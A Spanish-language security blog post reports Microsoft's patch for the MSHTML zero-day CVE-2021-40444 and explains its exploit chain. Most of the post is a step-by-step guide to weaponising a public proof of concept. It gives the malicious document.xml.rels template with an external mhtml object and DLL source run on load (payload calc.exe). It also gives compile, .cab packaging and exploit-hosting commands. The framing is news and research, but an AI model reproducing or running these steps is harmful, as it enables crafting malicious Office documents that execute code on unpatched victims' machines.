Microsoft publica el parche para el 0-day de MSHTML (CVE-2021-40444)

Microsoft ha publicado un parche para la vulnerabilidad de día 0 CVE-2021-40444. Seguro que ya habréis escuchado hasta la saciedad sobre esta vulnerabilidad en los últimos días: una vulnerabilidad crítica en el motor de renderizado MSHTML que permite la ejecución de comandos en la máquina de la víctima cuando esta abre un documento especialmente diseñado y hace clic en Habilitar contenido para deshabilitar la función Vista protegida de Microsoft Office.

  • Básicamente el documento contiene un objeto MHTML OLE que es un sitio web alojado en un endpoint controlado por un atacante.
  • El sitio web ejecuta código JavaScript ofuscado que crea una instancia de los controles ActiveX: ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
  • El código del sitio web obtiene y abre un archivo .cab desde el endpoint controlado por el atacante: XMLHttpRopen['call'](XMLHttpR, 'GET', 'http://127.0.0.1/test.cab', ![]). Este archivo contiene una DLL maliciosa con extensión .inf.
  • El código del sitio web ejecuta el archivo.inf como un archivo del Panel de control (.cpl) utilizando la utilidad control.exe. Por ejemplo, el código del sitio web puede ejecutar el siguiente comando: control.exe .cpl: ../../../AppData/Local/Temp/championship.inf.
  • La utilidad control.exe se ejecuta como un proceso secundario del proceso que aloja la aplicación de Microsoft Office que abrió el documento de Office, como winword.exe.
  • El archivo DLL malicioso .inf se ejecuta en el contexto de rundll32.exe.

Hasta ahora las mitigaciones contra CVE-2021-40444 iban desde sugerir que se deshabilite ActiveX para la mayoría o todas las zonas de seguridad de Internet Explorer, así como deshabilitar el shell preview en el Explorador de Windows; esto se puede hacer a través de la Política de grupo o localmente a través de claves de registro. Sin embargo, si se rehace la plantilla maliciosa para que no requiera un nuevo control ActiveX estas mitigaciones pueden eludirse, así que ...

Y es que ya no hay excusas para parchear... además ya hay varias PoCs que permiten armar documentos maliciosos que explotan CVE-2021-40444, entre los que destacamos sin duda el repo de nuestro compi Lockebyte (https://github.com/lockedbyte/CVE-2021-40444) que contiene varios scripts y htmls que reproducen el exploit y nos facilitan la vida:

Generar un docx

Edita la URL http://<HOST> en maldoc/word/_rels/document.xml.rels. Por ejemplo http://127.0.0.1/exploit.html
(Para empaquetar el docx: cd maldoc/ ; zip -r maldoc.docx *)


<Relationships
    xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/>
    <Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/>
    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:
        <EXPLOIT_HOST_HERE>!x-usc:
            <EXPLOIT_HOST_HERE>" TargetMode="External"/>
            <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/>
            <Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/>
        </Relationships>

Generar el .cab malicioso

#include <windows.h>

void exec(void) {
    system("C:\\Windows\\System32\\calc.exe");
    return;
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
           exec();
           break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}


Ejecutar: i686-w64-mingw32-gcc -shared calc.c -o calc.dll
Generar cab (instalar lcab sudo apt-get install lcab): cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab
Copiar out.cab en el directorio www/, modificar exploit.html para que apunte a http://127.0.0.1/out.cab
Ejecute el script de Python: patch_cab.py

Todo esto se puede hacer también con el script en python del repo: python3 exploit.py generate test/calc.dll http://<SRV IP>


Finalmente, configurar el servidor: cd www/ ; sudo python3 -m http.server 80

O más fácil: sudo python3 exploit.py host 80

Finalmente probamos también en una máquina Windows:


Comentarios